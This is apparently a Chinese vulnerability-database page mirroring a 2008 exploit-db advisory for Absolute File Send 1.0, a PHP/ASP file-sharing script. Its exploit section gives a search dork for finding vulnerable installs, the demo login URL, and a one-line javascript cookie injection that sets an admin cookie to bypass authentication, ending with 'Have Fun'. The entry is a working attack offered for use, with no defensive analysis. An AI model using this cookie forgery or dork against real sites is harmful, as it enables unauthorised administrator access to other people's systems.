Absolute File Send 1.0 - Remote Insecure Cookie Handling

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056934 漏洞类型
发布时间 2008-10-30 更新时间 2008-10-30
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/6881
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Author : Hakxer
# Home : Www.educ-up.com
# Type Gap : Insecure cookie handling 
# script : Absloute File Send [see script] http://www.xigla.com/afilesend/demo.htm
# Greetz : Allah , Egyptian x Hacker , all my team , All educ-up member
# Team : EgY Coders 
#################################################################################################

# Dork : "Powered by Absolute File Send"

# First go to Admin panel : http://www.xigla.com/afilesend/demo/login.aspx
# Exploit :
# [~]  javascript:document.cookie="xlaAFSuser=p=admin";
# Second Go to http://www.xigla.com/afilesend/demo/menu.aspx
# See Admin panel .. 

# Have Fun :D


###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-30]